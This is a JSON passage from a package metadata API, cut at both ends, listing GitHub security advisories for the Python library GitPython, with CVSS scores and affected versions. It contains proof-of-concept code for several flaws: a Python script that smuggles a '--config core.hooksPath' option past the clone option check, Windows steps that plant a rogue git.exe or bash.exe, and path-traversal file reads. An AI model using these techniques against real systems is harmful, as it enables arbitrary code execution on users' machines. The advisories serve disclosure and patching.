3.1.47"}],"purl":"pkg:pypi/gitpython","statistics":{"dependent_packages_count":1181,"dependent_repos_count":27784,"downloads":236779793,"downloads_period":"last-month"},"affected_versions":["3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46"],"unaffected_versions":["0.1.7","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.47","3.1.48","3.1.49","3.1.50"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycG01LTY1Y3ctNmhqNM4ABVyD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14MnF4LTY5NTMtODQ4Nc4ABVyC","url":"https://github.com/advisories/GHSA-x2qx-6953-8485","title":"GitPython: Unsafe option check validates multi_options before shlex.split transformation","description":"### Summary\n\n`_clone()` validates `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`. A string like `\"--branch main --config core.hooksPath=/x\"` passes validation (starts with `--branch`), but after split becomes `[\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes attacker hooks during clone.\n\n### Details\n\nThe vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\", \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n    print(\"multi_options=['--config', '...']: Block as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\", \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\", \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami \u003e {LOG.as_posix()}\\nhostname \u003e\u003e {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n    print(f\"multi_options=['{payload}']: BLOCKED\"); sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n    subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config', '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']: not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n### Impact\n\nAny application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=\u003cdir\u003e` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-25T23:41:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485","https://nvd.nist.gov/vuln/detail/CVE-2026-42284","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47","https://github.com/advisories/GHSA-x2qx-6953-8485"],"source_kind":"github","identifiers":["GHSA-x2qx-6953-8485","CVE-2026-42284"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-26T00:00:12.369Z","updated_at":"2026-05-13T13:00:30.285Z","epss_percentage":0.00044,"epss_percentile":0.13524,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MnF4LTY5NTMtODQ4Nc4ABVyC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14MnF4LTY5NTMtODQ4Nc4ABVyC","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.47","vulnerable_version_range":"\u003c 3.1.47"}],"purl":"pkg:pypi/gitpython","statistics":{"dependent_packages_count":1181,"dependent_repos_count":27784,"downloads":236779793,"downloads_period":"last-month"},"affected_versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46"],"unaffected_versions":["3.1.47","3.1.48","3.1.49","3.1.50"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MnF4LTY5NTMtODQ4Nc4ABVyC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ybXFqLW02NXctamdoeM4AA4Vh","url":"https://github.com/advisories/GHSA-2mqj-m65w-jghx","title":"Untrusted search path under some conditions on Windows allows arbitrary code execution","description":"### Summary\n\nThis issue exists because of an incomplete fix for CVE-2023-40590. On Windows, GitPython uses an untrusted search path if it uses a shell to run `git`, as well as when it runs `bash.exe` to interpret hooks. If either of those features are used on Windows, a malicious `git.exe` or `bash.exe` may be run from an untrusted repository.\n\n### Details\n\nAlthough GitPython often avoids executing programs found in an untrusted search path since 3.1.33, two situations remain where this still occurs. Either can allow arbitrary code execution under some circumstances.\n\n#### When a shell is used\n\nGitPython can be told to run `git` commands through a shell rather than as direct subprocesses, by passing `shell=True` to any method that accepts it, or by both setting `Git.USE_SHELL = True` and not passing `shell=False`. Then the Windows `cmd.exe` shell process performs the path search, and GitPython does not prevent that shell from finding and running `git` in the current directory.\n\nWhen GitPython runs `git` directly rather than through a shell, the GitPython process performs the path search, and currently omits the current directory by setting `NoDefaultCurrentDirectoryInExePath` in its own environment during the `Popen` call. Although the `cmd.exe` shell will honor this environment variable when present, GitPython does not currently pass it into the shell subprocess's environment.\n\nFurthermore, because GitPython sets the subprocess CWD to the root of a repository's working tree, using a shell will run a malicious `git.exe` in an untrusted repository even if GitPython itself is run from a trusted location.\n\nThis also applies if `Git.execute` is called directly with `shell=True` (or after `Git.USE_SHELL = True`) to run any command.\n\n#### When hook scripts are run\n\nOn Windows, GitPython uses `bash.exe` to run hooks that appear to be scripts. However, unlike when running `git`, no steps are taken to avoid finding and running `bash.exe` in the current directory.\n\nThis allows the author of an untrusted fork or branch to cause a malicious `bash.exe` to be run in some otherwise safe workflows. An example of such a scenario is if the user installs a trusted hook while on a trusted branch, then switches to an untrusted feature branch (possibly from a fork) to review proposed changes. If the untrusted feature branch contains a malicious `bash.exe` and the user's current working directory is the working tree, and the user performs an action that runs the hook, then although the hook itself is uncorrupted, it runs with the malicious `bash.exe`.\n\nNote that, while `bash.exe` is a shell, this is a separate scenario from when `git` is run using the unrelated Windows `cmd.exe` shell.\n\n### PoC\n\nOn Windows, create a `git.exe` file in a repository. Then create a `Repo` object, and call any method through it (directly or indirectly) that supports the `shell` keyword argument with `shell=True`:\n\n```powershell\nmkdir testrepo\ngit init testrepo\ncp ... testrepo git.exe # Replace \"...\" with any executable of choice.\npython -c \"import git; print(git.Repo('testrepo').git.version(shell=True))\"\n```\n\nThe `git.exe` executable in the repository directory will be run.\n\nOr use no `Repo` object, but do it from the location with the `git.exe`:\n\n```powershell\ncd testrepo\npython -c \"import git; print(git.Git().version(shell=True))\"\n```\n\nThe `git.exe` executable in the current directory will be run.\n\nFor the scenario with hooks, install a hook in a repository, create a `bash.exe` file in the current directory, and perform an operation that causes GitPython to attempt to run the hook:\n\n```powershell\nmkdir testrepo\ncd testrepo\ngit init\nmv .git/hooks/pre-commit.sample .git/hooks/pre-commit\ncp ... bash.exe # Replace \"...\" with any executable of choice.\necho \"Some text\" \u003efile.txt\ngit add file.txt\npython -c \"import git; git.Repo().index.commit('Some message')\"\n```\n\nThe `bash.exe` executable in the current directory will be run.\n\n### Impact\n\nThe greatest impact is probably in applications that set `Git.USE_SHELL = True` for historical reasons. (Undesired console windows had, in the past, been created in some kinds of applications, when it was not used.) Such an application may be vulnerable to arbitrary code execution from a malicious repository, even with no other exacerbating conditions. This is to say that, if a shell is used to run `git`, the full effect of CVE-2023-40590 is still present. Furthermore, as noted above, running the application itself from a trusted directory is not a sufficient mitigation.\n\nAn application that does not direct GitPython to use a shell to run `git` subprocesses thus avoids most of the risk. However, there is no such straightforward way to prevent GitPython from running `bash.exe` to interpret hooks. So while the conditions needed for that to be exploited are more involved, it may be harder to mitigate decisively prior to patching.\n\n### Possible solutions\n\nA straightforward approach would be to address each bug directly:\n\n- When a shell is used, pass `NoDefaultCurrentDirectoryInExePath` into the subprocess environment, because in that scenario the subprocess is the `cmd.exe` shell that itself performs the path search.\n- Set `NoDefaultCurrentDirectoryInExePath` in the GitPython process environment during the `Popen` call made to run hooks with a `bash.exe` subprocess.\n\nThese need only be done on Windows.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-01-10T15:46:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2mqj-m65w-jghx","https://github.com/gitpython-developers/GitPython/pull/1792","https://github.com/gitpython-developers/GitPython/commit/ef3192cc414f2fd9978908454f6fd95243784c7f","https://nvd.nist.gov/vuln/detail/CVE-2024-22190","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2024-4.yaml","https://github.com/advisories/GHSA-2mqj-m65w-jghx"],"source_kind":"github","identifiers":["GHSA-2mqj-m65w-jghx","CVE-2024-22190"],"repository_url":"https://github.com/gitpython-developers/GitPython","blast_radius":38.216635024603264,"created_at":"2024-01-10T16:06:14.339Z","updated_at":"2026-05-09T06:05:57.513Z","epss_percentage":0.00353,"epss_percentile":0.575,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ybXFqLW02NXctamdoeM4AA4Vh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ybXFqLW02NXctamdoeM4AA4Vh","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.41","vulnerable_version_range":"\u003c 3.1.41"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ybXFqLW02NXctamdoeM4AA4Vh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jd3ZtLXY0dzgtcTU4Y84AA1lK","url":"https://github.com/advisories/GHSA-cwvm-v4w8-q58c","title":"GitPython blind local file inclusion","description":"### Summary\n\nIn order to resolve some git references, GitPython reads files from the `.git` directory, in some places the name of the file being read is provided by the user, GitPython doesn't check if this file is located outside the `.git` directory. This allows an attacker to make GitPython read any file from the system.\n\n### Details\n\nThis vulnerability is present in\n\nhttps://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/refs/symbolic.py#L174-L175\n\nThat code joins the base directory with a user given string without checking if the final path is located outside the base directory.\n\nI was able to exploit it from three places, but there may be more code paths that lead to it:\n\nhttps://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/repo/base.py#L605\n\nhttps://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/repo/base.py#L620\n\nhttps://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/index/base.py#L1353\n\n### PoC\n\nRunning GitPython within any repo should work, here is an example with the GitPython repo.\n\n```python\nimport git\n\nr = git.Repo(\".\")\n\n# This will make GitPython read the README.md file from the root of the repo\nr.commit(\"../README.md\")\nr.tree(\"../README.md\")\nr.index.diff(\"../README.md\")\n\n# Reading /etc/random\n# WARNING: this will probably halt your system, run with caution\n# r.commit(\"../../../../../../../../../dev/random\")\n```\n\n### Impact\n\nI wasn't able to show the contents of the files (that's why \"blind\" local file inclusion), depending on how GitPython is being used, this can be used by an attacker for something _inoffensive_ as checking if a file exits, or cause a DoS by making GitPython read a big/infinite file (like `/dev/random` on Linux systems).\n\n### Possible solutions\n\nA solution would be to check that the final path isn't located outside the `repodir` path (maybe even after resolving symlinks). Maybe there could be other checks in place to make sure that the reference names are valid.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-08-30T20:09:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-cwvm-v4w8-q58c","https://nvd.nist.gov/vuln/detail/CVE-2023-41040","https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/refs/symbolic.py#L174-L175","https://github.com/gitpython-developers/GitPython/commit/74e55ee4544867e1bd976b7df5a45869ee397b0b","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2023-165.yaml","https://github.com/gitpython-developers/GitPython/pull/1672","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.37","https://lists.debian.org/debian-lts-announce/2023/09/msg00036.html","https://github.com/gitpython-developers/GitPython/commit/e98f57b81f792f0f5e18d33ee658ae395f9aa3c4","https://lists.debian.org/debian-lts-announce/2024/10/msg00030.html","https://github.com/advisories/GHSA-cwvm-v4w8-q58c"],"source_kind":"github","identifiers":["GHSA-cwvm-v4w8-q58c","CVE-2023-41040"],"repository_url":"https://github.com/gitpython-developers/GitPython","blast_radius":30.662183915088672,"created_at":"2023-08-30T21:05:29.946Z","updated_at":"2026-05-09T06:03:58.202Z","epss_percentage":0.0036,"epss_percentile":0.5803,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jd3ZtLXY0dzgtcTU4Y84AA1lK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jd3ZtLXY0dzgtcTU4Y84AA1lK","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.37","vulnerable_version_range":"\u003c 3.1.37"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jd3ZtLXY0dzgtcTU4Y84AA1lK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13Zm01LXYzNWgtdndmNM4AA1jX","url":"https://github.com/advisories/GHSA-wfm5-v35h-vwf4","title":"GitPython untrusted search path on Windows systems leading to arbitrary code execution","description":"### Summary\n\nWhen resolving a program, Python/Windows look for the current working directory, and after that the PATH environment (see big warning in https://docs.python.org/3/library/subprocess.html#popen-constructor). GitPython defaults to use the `git` command, if a user runs GitPython from a repo has a `git.exe` or `git` executable, that program will be run instead of the one in the user's `PATH`.\n\n### Details\n\nThis is more of a problem on how Python interacts with Windows systems, Linux and any other OS aren't affected by this. But probably people using GitPython usually run it from the CWD of a repo.\n\nThe execution of the `git` command happens in\n\nhttps://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/cmd.py#L277 \n\nhttps://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/cmd.py#L983-L996\n\nAnd there are other commands executed that should probably be aware of this problem.\n\n### PoC\n\nOn a Windows system, create a `git.exe` or `git` executable in any directory, and import or run GitPython from that directory\n\n```\npython -c \"import git\"\n```\n\nThe git executable from the current directory will be run.\n\n### Impact\n\nAn attacker can trick a user to download a repository with a malicious `git` executable, if the user runs/imports GitPython from that directory, it allows the attacker to run any arbitrary commands.\n\n### Possible solutions\n \n- Default to an absolute path for the git program on Windows, like `C:\\\\Program Files\\\\Git\\\\cmd\\\\git.EXE` (default git path installation).\n- Require users to set the `GIT_PYTHON_GIT_EXECUTABLE` environment variable on Windows systems.\n- Make this problem prominent in the documentation and advise users to never run GitPython from an untrusted repo, or set the `GIT_PYTHON_GIT_EXECUTABLE` env var to an absolute path.\n- Resolve the executable manually by only looking into the `PATH` environment variable (suggested by @Byron)\n\n---\n\n\u003e [!NOTE]\n\u003e This vulnerability was reported via email, and it was decided to publish it here and make it public, so the community is aware of it, and a fix can be provided.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-08-29T23:33:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wfm5-v35h-vwf4","https://nvd.nist.gov/vuln/detail/CVE-2023-40590","https://docs.python.org/3/library/subprocess.html#popen-constructor","https://github.com/gitpython-developers/GitPython/issues/1635","https://github.com/gitpython-developers/GitPython/pull/1636","https://github.com/gitpython-developers/GitPython/commit/8b75434e2c8a082cdeb4971cc6f0ee2bafec45bc","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.33","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2023-161.yaml","https://github.com/advisories/GHSA-wfm5-v35h-vwf4"],"source_kind":"github","identifiers":["GHSA-wfm5-v35h-vwf4","CVE-2023-40590"],"repository_url":"https://github.com/gitpython-developers/GitPython","blast_radius":38.216635024603264,"created_at":"2023-08-30T00:05:25.418Z","updated_at":"2026-05-09T06:07:02.634Z","epss_percentage":0.00371,"epss_percentile":0.58575,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Zm01LXYzNWgtdndmNM4AA1jX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13Zm01LXYzNWgtdndmNM4AA1jX","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":"3.1.33","vulnerable_version_range":"\u003c= 3.1.32"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Zm01LXYzNWgtdndmNM4AA1jX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcjc2LTVjbTUtdzljas4AA1Py","url":"https://github.com/advisories/GHSA-pr76-5cm5-w9cj","title":"GitPython vulnerable to remote code execution due to insufficient sanitization of input arguments","description":"GitPython before 3.1.32 does not block insecure non-multi options in `clone` and `clone_from`, making it vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. NOTE: this issue exists because of an incomplete fix for CVE-2022-24439.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-08-11T09:30:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-40267","https://github.com/gitpython-developers/GitPython/pull/1609","https://github.com/gitpython-developers/GitPython/commit/ca965ecc81853bca7675261729143f54e5bf4cdd","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2023-137.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AV5DV7GBLMOZT7U3Q4TDOJO5R6G3V6GH","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PF6AXUTC5BO7L2SBJMCVKJSPKWY52I5R","https://lists.debian.org/debian-lts-announce/2024/10/msg00030.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AV5DV7GBLMOZT7U3Q4TDOJO5R6G3V6GH","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PF6AXUTC5BO7L2SBJMCVKJSPKWY52I5R","https://github.com/advisories/GHSA-pr76-5cm5-w9cj"],"source_kind":"github","identifiers":["GHSA-pr76-5cm5-w9cj","CVE-2023-40267"],"repository_url":"https://github.com/gitpython-developers/GitPython","blast_radius":41.327291363815164,"created_at":"2023-08-11T20:05:17.096Z","updated_at":"2026-05-09T06:03:58.203Z","epss_percentage":0.00351,"epss_percentile":0.57531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcjc2LTVjbTUtdzljas4AA1Py","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcjc2LTVjbTUtdzljas4AA1Py","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.32","vulnerable_version_range":"\u003c 3.1.32"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcjc2LTVjbTUtdzljas4AA1Py/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oY3BqLXFwNTUtZ2ZwaM4AAwKi","url":"https://github.com/advisories/GHSA-hcpj-qp55-gfph","title":"GitPython vulnerable to Remote Code Execution due to improper user input validation","description":"All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-12-06T06:30:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-24439","https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858","https://github.com/gitpython-developers/GitPython/blob/bec61576ae75803bc4e60d8de7a629c194313d1c/git/repo/base.py#L1249","https://github.com/gitpython-developers/GitPython/issues/1515","https://github.com/gitpython-developers/GitPython/blob/bec61576ae75803bc4e60d8de7a629c194313d1c/git/repo/base.py%23L1249","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.30","https://github.com/gitpython-developers/GitPython/commit/2625ed9fc074091c531c27ffcba7902771130261","https://lists.debian.org/debian-lts-announce/2023/07/msg00024.html","https://security.gentoo.org/glsa/202311-01","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SJHN3QUXPJIMM6SULIR3PR34UFWRAE7X","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PF6AXUTC5BO7L2SBJMCVKJSPKWY52I5R","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IKMVYKLWX62UEYKAN64RUZMOIAMZM5JN","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AV5DV7GBLMOZT7U3Q4TDOJO5R6G3V6GH","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SJHN3QUXPJIMM6SULIR3PR34UFWRAE7X","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PF6AXUTC5BO7L2SBJMCVKJSPKWY52I5R","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IKMVYKLWX62UEYKAN64RUZMOIAMZM5JN","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AV5DV7GBLMOZT7U3Q4TDOJO5R6G3V6GH","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2022-42992.yaml","https://lists.debian.org/debian-lts-announce/2024/10/msg00030.html","https://github.com/advisories/GHSA-hcpj-qp55-gfph"],"source_kind":"github","identifiers":["GHSA-hcpj-qp55-gfph","CVE-2022-24439"],"repository_url":"https://github.com/gitpython-developers/GitPython","blast_radius":40.88291188678489,"created_at":"2022-12-21T16:11:44.934Z","updated_at":"2026-05-09T06:07:05.486Z","epss_percentage":0.68859,"epss_percentile":0.98615,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oY3BqLXFwNTUtZ2ZwaM4AAwKi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oY3BqLXFwNTUtZ2ZwaM4AAwKi","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.30","vulnerable_version_range":"\u003c= 3.1.29"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oY3BqLXFwNTUtZ2ZwaM4AAwKi/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/gitpython","docker_dependents_count":560,"docker_downloads_count":199978831,"usage_url":"https://repos.ecosyste.ms/usage/pypi/gitpython","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/gitpython/dependencies","status":null,"funding_links":["https://github.com/sponsors/byron"],"critical":true,"issue_metadata":{"last_synced_at":"2024-09-07T00:44:25.129Z","issues_count":202,"pull_requests_count":239,"avg_time_to_close_issue":4476833.426829268,"avg_time_to_close_pull_request":426184.39743589744,"issues_closed_count":164,"pull_requests_closed_count":234,"pull_request_authors_count":71,"issue_authors_count":121,"avg_comments_per_issue":2.886138613861386,"avg_comments_per_pull_request":2.0334728033472804,"merged_pull_requests_count":215,"bot_issues_count":0,"bot_pull_requests_count":13,"past_year_issues_count":115,"past_year_pull_requests_count":187,"past_year_avg_time_to_close_issue":350445.33684210526,"past_year_avg_time_to_close_pull_request":239843.1912568306,"past_year_issues_closed_count":95,"past_year_pull_requests_closed_count":183,"past_year_pull_request_authors_count":29,"past_year_issue_authors_count":43,"past_year_avg_comments_per_issue":2.6,"past_year_avg_comments_per_pull_request":1.9304812834224598,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":10,"past_year_merged_pull_requests_count":175,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitp